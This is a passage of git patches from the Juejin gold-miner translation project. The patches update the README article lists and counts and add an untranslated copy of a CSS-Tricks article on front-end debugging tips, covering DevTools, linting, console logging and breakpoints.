+* [写给“老派” Web 开发者的“现代” JavaScript 指南](https://juejin.im/post/58ebab0c8d6d81006191376f?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([SunCafe](http://suncafe.cc/) 翻译)
 * [CSS很棒，只是真的太难了](https://juejin.im/entry/58eae24a61ff4b0061a6a102?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([ZhangFe](https://github.com/ZhangFe) 翻译)
 * [Preload，Prefetch 和它们在 Chrome 之中的优先级](https://juejin.im/post/58e8acf10ce46300585a7a42?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
 * [setState() 门事件](https://juejin.im/post/58e5aeccb123db15eb80ecb0?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([reid3290](https://github.com/reid3290) 翻译)
-* [如何使用 JavaScript 构建响应式引擎 —— Part 2：计算属性和依赖追踪](https://juejin.im/post/58ddeb1a570c3500579016ef?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([IridescentMia](https://github.com/IridescentMia) 翻译)
-* [如何使用 JavaScript 构建响应式引擎 —— Part 1：可观察的对象](https://juejin.im/post/58dc9da661ff4b0061547ca0?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([IridescentMia](https://github.com/IridescentMia) 翻译)
 * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)
 
 
diff --git a/front-end.md b/front-end.md
index 52e31749ac5..bcbc316bce0 100644
--- a/front-end.md
+++ b/front-end.md
@@ -1,3 +1,4 @@
+* [写给“老派” Web 开发者的“现代” JavaScript 指南](https://juejin.im/post/58ebab0c8d6d81006191376f?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([SunCafe](http://suncafe.cc/) 翻译)
 * [CSS很棒，只是真的太难了](https://juejin.im/entry/58eae24a61ff4b0061a6a102?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([ZhangFe](https://github.com/ZhangFe) 翻译)
 * [Preload，Prefetch 和它们在 Chrome 之中的优先级](https://juejin.im/post/58e8acf10ce46300585a7a42?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
 * [setState() 门事件](https://juejin.im/post/58e5aeccb123db15eb80ecb0?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([reid3290](https://github.com/reid3290) 翻译)

From 30f822f51a7b1b0d7c03045e84f24c87d700d648 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Thu, 13 Apr 2017 23:01:01 +0800
Subject: [PATCH 156/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20webpack=20?=
 =?UTF-8?q?=E6=8B=BE=E7=BF=A0=EF=BC=9A=E5=85=85=E5=88=86=E5=88=A9=E7=94=A8?=
 =?UTF-8?q?=20CommonsChunkPlugin()=20=E7=9A=84=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md    | 4 ++--
 front-end.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 255e14d40e7..0179de489e5 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [454](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [455](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -37,10 +37,10 @@
 
 ## 前端
 
+* [webpack 拾翠：充分利用 CommonsChunkPlugin()](https://juejin.im/post/58ec4e3f5c497d0062c470bf?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([reid3290](https://github.com/reid3290) 翻译)
 * [写给“老派” Web 开发者的“现代” JavaScript 指南](https://juejin.im/post/58ebab0c8d6d81006191376f?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([SunCafe](http://suncafe.cc/) 翻译)
 * [CSS很棒，只是真的太难了](https://juejin.im/entry/58eae24a61ff4b0061a6a102?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([ZhangFe](https://github.com/ZhangFe) 翻译)
 * [Preload，Prefetch 和它们在 Chrome 之中的优先级](https://juejin.im/post/58e8acf10ce46300585a7a42?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
-* [setState() 门事件](https://juejin.im/post/58e5aeccb123db15eb80ecb0?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([reid3290](https://github.com/reid3290) 翻译)
 * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)
 
 
diff --git a/front-end.md b/front-end.md
index bcbc316bce0..1d501a043c1 100644
--- a/front-end.md
+++ b/front-end.md
@@ -1,3 +1,4 @@
+* [webpack 拾翠：充分利用 CommonsChunkPlugin()](https://juejin.im/post/58ec4e3f5c497d0062c470bf?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([reid3290](https://github.com/reid3290) 翻译)
 * [写给“老派” Web 开发者的“现代” JavaScript 指南](https://juejin.im/post/58ebab0c8d6d81006191376f?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([SunCafe](http://suncafe.cc/) 翻译)
 * [CSS很棒，只是真的太难了](https://juejin.im/entry/58eae24a61ff4b0061a6a102?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([ZhangFe](https://github.com/ZhangFe) 翻译)
 * [Preload，Prefetch 和它们在 Chrome 之中的优先级](https://juejin.im/post/58e8acf10ce46300585a7a42?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)

From 06127d45b22e9bdd043a5b082064c8354000ef57 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Thu, 13 Apr 2017 23:05:54 +0800
Subject: [PATCH 157/638] Create debugging-tips-tricks.md

---
 TODO/debugging-tips-tricks.md | 229 ++++++++++++++++++++++++++++++++++
 1 file changed, 229 insertions(+)
 create mode 100644 TODO/debugging-tips-tricks.md

diff --git a/TODO/debugging-tips-tricks.md b/TODO/debugging-tips-tricks.md
new file mode 100644
index 00000000000..dca2d0b0200
--- /dev/null
+++ b/TODO/debugging-tips-tricks.md
@@ -0,0 +1,229 @@
+> * 原文地址：[Debugging Tips and Tricks](https://css-tricks.com/debugging-tips-tricks/)
+> * 原文作者：[SARAH DRASNER](https://css-tricks.com/author/sdrasner/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# Debugging Tips and Tricks #    
+
+Writing code is only one small piece of being a developer. In order to be efficient and capable at our jobs, we must also excel at debugging. When I dedicate some time to learning new debugging skills, I often find I can move much quicker, and add more value to the teams I work on. I have a few tips and tricks I rely on pretty heavily and found that I give the same advice again and again during workshops, so here’s a compilation of some of them, as well as some from the community. We'll start with some core tenants and then drill down to more specific examples.
+
+[![](https://s3.buysellads.com/1279518/7386844-1491489478.jpg)](https://srv.buysellads.com/ads/click/x/GTND4237CVYDL23JCV74YKQWF67DTKJNCT7DKZ3JCEAI45QUCT7D6K7KC6BDLKJEF67DTK3EHJNCLSIZ) 
+
+
+### # Main Concepts ###
+
+#### # Isolate the Problem ####
+
+Isolation is possibly the strongest core tenant in all of debugging. Our codebases can be sprawling, with different libraries, frameworks, and they can include many contributors, even people who aren't working on the project anymore. Isolating the problem helps us slowly whittle away non-essential parts of the problem so that we can singularly focus on a solution. 
+
+Some of the benefits of isolation include, but are not limited to:
+
+- Figuring out if it’s actually the root cause we think it is or some sort of conflict
+- For time-based tasks, understanding whether or not there is a race condition
+- Taking a hard look at whether or not our code can be simplified, which can help with both writing it and maintaining it
+- Untangling it and seeing if it’s one issue or perhaps more
+
+It's very important to make the issue reproducible. Without being able to discern exactly what the issue is in a way where you can reproduce it, it’s very difficult to solve for it. This also allows you to compare it to working model that is similar so that you can see what changed or what is different between the two.
+
+I have a lot of different methods of isolation in practice. One is to create a reduced test case on a local instance, or a private CodePen, or a JSBin. Another is to create breakpoints in the code so that I can see it execute bit by bit. There are a few ways to define breakpoints:
+
+You can literally write `debugger;` inline in your code. You can see how this will fire small pieces at a time.
+
+You can take this one step further in Chrome DevTools and even walk through the next events that are fired or choose specific event listeners:
+
+![Step into the next function call](https://cdn.css-tricks.com/wp-content/uploads/2017/04/stepintonextfunctioncall.gif)
+
+Good 'ol `console.log` is a form of isolation. (Or `echo` in PHP, or `print` in python, etc…). You are taking one tiny piece of execution and testing your assumptions, or checking to see if something is altering. This is probably the most time-tested form of debugging, that no matter how advanced you become, still has it's uses. Arrow functions in ES6 have allowed us to step up our console debugging game as well, as it’s now a lot easier to write useful one-liners in the console.
+
+The `console.table` function is also a favorite tool of mine, especially great for when you have a lot of data you need to represent- large arrays, large objects and the like. The `console.dir` function is also a nice alternative. It will log an interactive listing of an object's properties. 
+
+![](https://cdn.css-tricks.com/wp-content/uploads/2017/04/dir.png)
+
+console.dir gives an interactive listing
+
+#### #Be Methodical ####
+
+When I teach workshops and help students in my class, the number one thing that I find holds them back as they try to debug a problem is not being methodical enough. This is truly a tortoise-and-the-hare kind of situation. They understandably want to move quickly, so they change a ton of things at once, and then when something stops working, they don’t know which thing they changed is causing the error. Then, to debug, they change many things at once and get a little lost trying to figure out what is working and what isn't.
+
+We all do this to some extent. As we become more proficient with a tool, we can write more and more code without testing an assumption. But if you’re new to a syntax or technology, being slow and careful behooves you. You have a much better shot at backing out of an issue you might have inadvertently created for yourself. And indeed, once you have created an issue, debugging one thing at a time might seem slower, but exposes exactly what changes have happened and where the error lies in a way that a *seemingly* faster pace doesn’t allow. I say seemingly because the time isn’t actually recovered working this way.
+
+**Do you remember when you were a kid and your parents said, "if you get lost, stay where you are?"** My parents did, at least. It's because if they were moving around to find me and I was also moving around to find them, we'd have fewer chances of bumping into one another. Code works the same way. The less moving pieces you have, the better- the more you are returning consistent results, the easier it will be to track things down. So while you’re debugging, try not to also install anything, or put in new dependencies. If you see a different error every time you should be returning a static result, that’s a big red flag you should be headed right for with your sleuth hat on.
+
+### # Choose Good Tools ###
+
+There are a million different tools for solving a variety of problems. I’m going to work through some of the tools I find the most useful and then we’ll link off to a bevy of resources.
+
+#### # Syntax Highlighting ####
+
+Sure, it’s damn fun to pick out the new hotness in colors and flavors for your syntax highlighting theme, but spending some time thinking about clarity here matters. I often pick dark themes where a skip in syntax will turn all of my code a lighter color, I find errors are really easy to see right away. I tend to like Oceanic Next or Panda, but really, to each their own on this one. It’s important to keep in mind that when looking for a good syntax highlighter, awesome-looking is great, but functional for calling out your mistakes is most important, and it's totally possible to do both.
+
+#### # Linting ####
+
+Linting helps flag suspicious code and calls out errors we might have overlooked. Linting is incredibly important, but which linter you choose has so much to do with what language/framework you’re writing in, and then on top of that, what your agreed-upon code style is.
+
+Different companies have different code styles and rules. Personally, I like [AirBnB's](https://github.com/airbnb/javascript), but take care and don't just use any old linter. Your linter enforces patterns that, if you yourself don’t want to enforce, can stall your build process. I had a CSS linter that complained whenever I wrote a browser hack, and ended up having to circumvent it so often that it stopped being useful. But a good linter can shine light on small errors you might have missed that are lurking.
+
+Here are some resources:
+
+- I recently found [this responsive images linter](https://github.com/ausi/respimagelint), that tells you what opportunities you might have to use picture, srcset, or sizes.
+- Here’s a [pretty good breakdown](https://www.sitepoint.com/comparison-javascript-linting-tools/) of some JS linters
+
+#### # Browser Extensions ####
+
+Extensions can be really awesome because they can be enabled and disabled so readily, and they can work with really specific requirements. If you’re working with a particular library or framework, chances are, having their extension for DevTools enabled is going to give you all sorts of clarity that you can’t find otherwise. Take care though- not only can extensions bog a browser down, but they have permissions to execute scripts, so do a little homework into the extension author, ratings, and background. All that said, here are some of my favorites:
+
+- [Accessibility extension](https://chrome.google.com/webstore/detail/axe/lhdoppojpmngadmnindnejefpokejbdd) from Dequeue Systems
+- [React DevTools](https://chrome.google.com/webstore/detail/react-developer-tools/fmkadmapgofadopljbjfkapdkoienihi) really vital, in my opinion, if you're working with React, to see their virtual DOM
+- [Vue DevTools](https://chrome.google.com/webstore/detail/vuejs-devtools/nhdogjmejiglipccpnnnanhbledajbpd) same endorsement as above.
+- [Codopen](https://chrome.google.com/webstore/detail/codopen/agnkphdgffianchpipdbkeaclfbobaak): pops you out of the editor mode into a debug window for CodePen. Full disclosure: my husband made this for me as a present because he was sick of watching me manually opening the debug window (best gift ever!)
+- [Pageruler](https://chrome.google.com/webstore/detail/page-ruler/jlpkojjdgbllmedoapgfodplfhcbnbpn): get pixel dimensions and measure anything on a page. I like this one because I’m super duper anal about my layout. This helps me feed the beast.
+
+### # DevTools ###
+
+This is probably the most obvious of debugging tools, and there are so many things you can do with them. They can have so many packed-in features that can be easy to miss, so in the next section of specific tips, we'll go into a deep dive of some favorites.
+
+Umar Hansa has great materials for learning what the DevTools can do. He has [a weekly newsletter and GIFs](https://umaar.com/dev-tips/), a new course linked in the last section, and [an article on our site](https://css-tricks.com/six-tips-for-chrome-devtools/).
+
+One of my favorite recent ones is this [CSS Tracker Enhancement](https://umaar.com/dev-tips/126-css-tracker/), shown here with permission from Umar. This shows all of the unused CSS so that you can understand the performance impact.
+
+![](https://cdn.css-tricks.com/wp-content/uploads/2017/04/Screen-Shot-2017-04-10-at-10.20.11-AM.png)
+
+The CSS tracker shows color-coded rules for used and unused sets.
+
+#### # Misc Tools ####
+
+- [What input](https://ten1seven.github.io/what-input/) is a global utility for tracking the current input method (mouse, keyboard or touch), as well as the current intent- this can be really good for tracking down accessiblity leaks (hat tip to Marcy Sutton, accessibility expert for this tipoff)  
+- [Ghostlabapp](https://www.vanamco.com/ghostlab/) is a pretty snazzy tool if you’re doing responsive development or checking anything deployed across a ton of devices. It offers synchronized web development, testing, and inspection.
+- [Eruda is an awesome tool](http://eruda.liriliri.io/) that helps debug on mobile devices. I really like it because it takes a simulator a step further, gives a console and real devtools to help you gain understanding.
+
+![eruda gives you a mobile console](https://cdn.css-tricks.com/wp-content/uploads/2017/04/Screen-Shot-2017-04-10-at-10.38.57-AM.png) 
+
+### # Specific Tips ###
+
+I am always interested in what other people do to debug, so I asked the community through the CSS-Tricks account and my own what they were really into. This list is a mixture of tips I like as well as a roundup of tips from the community.
+
+#### # Accessibility ####
+
+```
+$('body').on('focusin',function(){
+  console.log(document.activeElement);});
+```
+
+> This logs the currently focused element, useful because opening the Devtools blurs the activeElement
+
+-[Marcy Sutton](https://twitter.com/marcysutton)
+
+#### # Debugging CSS ####
+
+We got quite a lot of responses saying that people put red borders on elements to see what they’re doing
+
+> [@sarah_edo](https://twitter.com/sarah_edo) for CSS, I'll usually have a .debug class with a red border that I slap on troublesome elements.
+> 
+> — Jeremy Wagner (@malchata) [March 15, 2017](https://twitter.com/malchata/status/842029469246324736)
+
+I do this too, I even have a little CSS file that drops in some classes I can access for different colors easily.
+
+#### # Checking State in React ####
+
+> [@sarah_edo](https://twitter.com/sarah_edo) <pre>{JSON.stringify(this.state, null, 2)}</pre>
+> 
+> — MICHAEL JACKSON (@mjackson) [March 15, 2017](https://twitter.com/mjackson/status/842041642760646657)
+
+Props to Michael, this is one of the most useful debugging tools I know of. That snippet "pretty prints" the state of the component you're working with onto the component so that you can see what’s going on. You can validate that the state is working the way that you think it should be, and it helps track down any errors between the state and how you're using it.
+
+#### # Animation ####
+
+We got a lot of responses that said they slow the animation way down:
+
+> [@sarah_edo](https://twitter.com/sarah_edo)[@Real_CSS_Tricks](https://twitter.com/Real_CSS_Tricks) * { animation-duration: 10s !important; }
+> 
+> — Thomas Fuchs (@thomasfuchs) [March 15, 2017](https://twitter.com/thomasfuchs/status/842029720820695040)
+
+I mentioned this on a post I wrote right here on CSS Tricks about [debugging CSS Keyframe animations](https://css-tricks.com/debugging-css-keyframe-animations/), there are more tips too, like how to hardware accelerate, or work with multiple transforms in different percentages.
+
+I also slow down my animations in JavaScript- in GreenSock that would look like: `timeline.timeScale(0.5)` (you can slow down the whole timeline, not just one thing at a time, which is super useful), in mo.js that would look like `{speed: 0.5}`.
+
+[Val Head has a great screencast](https://www.youtube.com/watch?v=MjRipmP7ffM&amp;feature=youtu.be) going through both chrome and firefox devtools offering on animation.
+
+If you want to use the Chrome Devtools timeline to do performance audits, it's worth mentioning that painting is the most expense of the tasks, so all things being equal, pay a little more attention to a high percentage of that green.
+
+#### # Checking different connection speeds and loads ####
+
+I tend to work on fast connections, so I will throttle my connection to check and see what the performance would look like for people who don’t have my internet speed.
+
+![throttle connection in devtools](https://cdn.css-tricks.com/wp-content/uploads/2017/04/Screen-Shot-2017-04-10-at-9.29.00-AM.png)
+
+This is also useful in conjunction with a hard reload, or with the cache empty
+
+> [@sarah_edo](https://twitter.com/sarah_edo) Not so secret trick. But still many people are unaware. You need DevTools open, and then right click over the refresh button. [pic.twitter.com/FdAfF9Xtxm](https://t.co/FdAfF9Xtxm)
+> 
+> — David Corbacho (@dcorbacho) [March 15, 2017](https://twitter.com/dcorbacho/status/842033259664035840)
+
+#### # Set a Timed Debugger ####
+
+This one came from Chris. We have a whole writeup on it [right here](https://css-tricks.com/set-timed-debugger-web-inspect-hard-grab-elements/):
+
+```
+setTimeout(function() {
+  debugger;
+}, 3000);
+```
+
+It’s similar to the debugger; tool I mentioned earlier, except you can put it in a setTimeout function and get even more fine-tuned information
+
+#### # Simulators ####
+
+> [@Real_CSS_Tricks](https://twitter.com/Real_CSS_Tricks) And just in case any Mac users didn't know this, iOS simulator + Safari is sweet. [pic.twitter.com/Uz4XO3e6uD](https://t.co/Uz4XO3e6uD)
+> 
+> — Chris Coyier (@chriscoyier) [March 15, 2017](https://twitter.com/chriscoyier/status/842034009060302848)
+
+I mentioned simulators with Eruda before. iOS users also get a pretty sweet simulator. I was going to tell you you have to install XCode first, but this tweet showed another way:
+
+> [@chriscoyier](https://twitter.com/chriscoyier)[@Real_CSS_Tricks](https://twitter.com/Real_CSS_Tricks) Or, you can use this approach if you didn't want to bother with installing xCode:  [https://t.co/WtAnZNo718](https://t.co/WtAnZNo718)
+> 
+> — Chris Harrison (@cdharrison) [March 15, 2017](https://twitter.com/cdharrison/status/842038887904088065)
+
+Chrome also has a device toggle which is helpful.
+
+#### # Remote Debuggers ####
+
+> [@chriscoyier](https://twitter.com/chriscoyier)[@Real_CSS_Tricks](https://twitter.com/Real_CSS_Tricks)[https://t.co/q3OfWKNlUo](https://t.co/q3OfWKNlUo) is a good tool.
+> 
+> — Gilles 💾⚽ (@gfra54) [March 15, 2017](https://twitter.com/gfra54/status/842035375304523777)
+
+I actually didn't know about this tool until seeing this tweet. Pretty useful!
+
+#### # CSS Grid Debugging #### (#article-header-id-18 .has-header-link)
+
+Rachel Andrew gave a presentation at Smashing and mentioned a little waffle thing you can click on in Firefox that will illuminate the gutters in the grid. [Her video](http://gridbyexample.com/learn/2016/12/17/learning-grid-day17/) explains it really eloquently.
+
+![](https://cdn.css-tricks.com/wp-content/uploads/2017/04/Screen-Shot-2017-04-10-at-9.58.14-AM.png) 
+
+Rachel Andrew shows how to highlight gutters in Firefox DevTools.
+
+#### # Array Debugging ####
+
+Wes Bos with a really useful tip for searching for a single item in an array:
+
+> If you are just looking for a single item array.find() is 🔥 [https://t.co/AuRtyFwnq7](https://t.co/AuRtyFwnq7)
+> 
+> — Wes Bos (@wesbos) [March 15, 2017](https://twitter.com/wesbos/status/842069915158884354)
+
+### # Further Debugging Resources ###
+
+Jon Kuperman has a [Frontend Masters course](https://frontendmasters.com/courses/chrome-dev-tools/) that can help you master devtools it goes along [with this app](https://github.com/jkup/mastering-chrome-devtools).
+
+There’s a small course on code school called [discover devtools](https://www.codeschool.com/courses/discover-devtools). 
+
+Umar Hansa has a new online course called [Modern DevTools](https://moderndevtools.com/).
+
+Julia Evans has a great article [about debugging here](http://jvns.ca/blog/2015/11/22/how-i-got-better-at-debugging/), hat tip to Jamison Dance for showing it to me.
+
+Paul Irish does some [advanced performance audits with devtools](https://docs.google.com/document/d/1K-mKOqiUiSjgZTEscBLjtjd6E67oiK8H2ztOiq5tigk/pub) if you're super nerdy like me and want to dig into the timeline.
+
+Finally, I'll put in a bittersweet resource. My friend James Golick who was an excellent programmer and even more excellent human gave this great conference talk about debugging anything many years ago. Sadly James has passed, but we can still honor his memory and learn from him:
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 863a5bc2e3f1f08165f87df9039e310393325ee6 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Thu, 13 Apr 2017 23:07:26 +0800
Subject: [PATCH 158/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20=E7=BB=86=E8=8A=82?=
 =?UTF-8?q?=E6=98=AF=E4=BA=A7=E5=93=81=E8=AE=BE=E8=AE=A1=E7=9A=84=E9=87=8D?=
 =?UTF-8?q?=E4=B8=AD=E4=B9=8B=E9=87=8D=20=E7=9A=84=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md  | 4 ++--
 product.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 0179de489e5..982f0ed40da 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [455](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [456](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -81,8 +81,8 @@
 
 ## 产品
 
+* [细节是产品设计的重中之重](https://juejin.im/post/58ed96aaa22b9d00634732e9/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([iloveivyxuan](https://github.com/iloveivyxuan) 翻译)
 * [单元测试，精益创业，以及两者之间的关系](https://juejin.im/post/58d90a3b44d90400694505c4/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
 * [你正在阅读的用户体验文章是不是在向你进行推销？](https://juejin.im/post/58d4c501a22b9d00645544d9/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([ylq167](https://github.com/ylq167) 翻译)
 * [直观设计 vs. 共享式设计](https://gold.xitu.io/entry/5862650a128fe1006d04d398/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Funtrip](https://www.behance.net/Funtrip) 翻译)
-* [为何而设计？](https://gold.xitu.io/entry/5857969761ff4b00686ad66b/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([王子建](https://github.com/Romeo0906) 翻译)
 * [所有产品译文>>](https://github.com/xitu/gold-miner/blob/master/product.md)
diff --git a/product.md b/product.md
index 308a8319f6f..be018fddc3b 100644
--- a/product.md
+++ b/product.md
@@ -1,3 +1,4 @@
+* [细节是产品设计的重中之重](https://juejin.im/post/58ed96aaa22b9d00634732e9/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([iloveivyxuan](https://github.com/iloveivyxuan) 翻译)
 * [单元测试，精益创业，以及两者之间的关系](https://juejin.im/post/58d90a3b44d90400694505c4/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
 * [你正在阅读的用户体验文章是不是在向你进行推销？](https://juejin.im/post/58d4c501a22b9d00645544d9/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([ylq167](https://github.com/ylq167) 翻译)
 * [直观设计 vs. 共享式设计](https://gold.xitu.io/entry/5862650a128fe1006d04d398/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Funtrip](https://www.behance.net/Funtrip) 翻译)

From 2cfde921be0d1ede43141d9b345f32aed73f45ed Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Thu, 13 Apr 2017 23:13:13 +0800
Subject: [PATCH 159/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20=E5=90=8C=E4=B8=AD?=
 =?UTF-8?q?=E6=9C=89=E5=BC=82=E7=9A=84=20Webpack=20=E4=B8=8E=20Rollup=20?=
 =?UTF-8?q?=E7=9A=84=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md    | 4 ++--
 front-end.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 982f0ed40da..8db95c9f37f 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [456](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [457](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -37,10 +37,10 @@
 
 ## 前端
 
+* [同中有异的 Webpack 与 Rollup](https://juejin.im/post/58edb865570c350057f199a7?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [webpack 拾翠：充分利用 CommonsChunkPlugin()](https://juejin.im/post/58ec4e3f5c497d0062c470bf?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([reid3290](https://github.com/reid3290) 翻译)
 * [写给“老派” Web 开发者的“现代” JavaScript 指南](https://juejin.im/post/58ebab0c8d6d81006191376f?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([SunCafe](http://suncafe.cc/) 翻译)
 * [CSS很棒，只是真的太难了](https://juejin.im/entry/58eae24a61ff4b0061a6a102?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([ZhangFe](https://github.com/ZhangFe) 翻译)
-* [Preload，Prefetch 和它们在 Chrome 之中的优先级](https://juejin.im/post/58e8acf10ce46300585a7a42?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
 * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)
 
 
diff --git a/front-end.md b/front-end.md
index 1d501a043c1..e646fb5aeff 100644
--- a/front-end.md
+++ b/front-end.md
@@ -1,3 +1,4 @@
+* [同中有异的 Webpack 与 Rollup](https://juejin.im/post/58edb865570c350057f199a7?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [webpack 拾翠：充分利用 CommonsChunkPlugin()](https://juejin.im/post/58ec4e3f5c497d0062c470bf?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([reid3290](https://github.com/reid3290) 翻译)
 * [写给“老派” Web 开发者的“现代” JavaScript 指南](https://juejin.im/post/58ebab0c8d6d81006191376f?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([SunCafe](http://suncafe.cc/) 翻译)
 * [CSS很棒，只是真的太难了](https://juejin.im/entry/58eae24a61ff4b0061a6a102?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([ZhangFe](https://github.com/ZhangFe) 翻译)

From 95989982386812d5e814660828cd3a7c0f224f25 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Thu, 13 Apr 2017 23:13:54 +0800
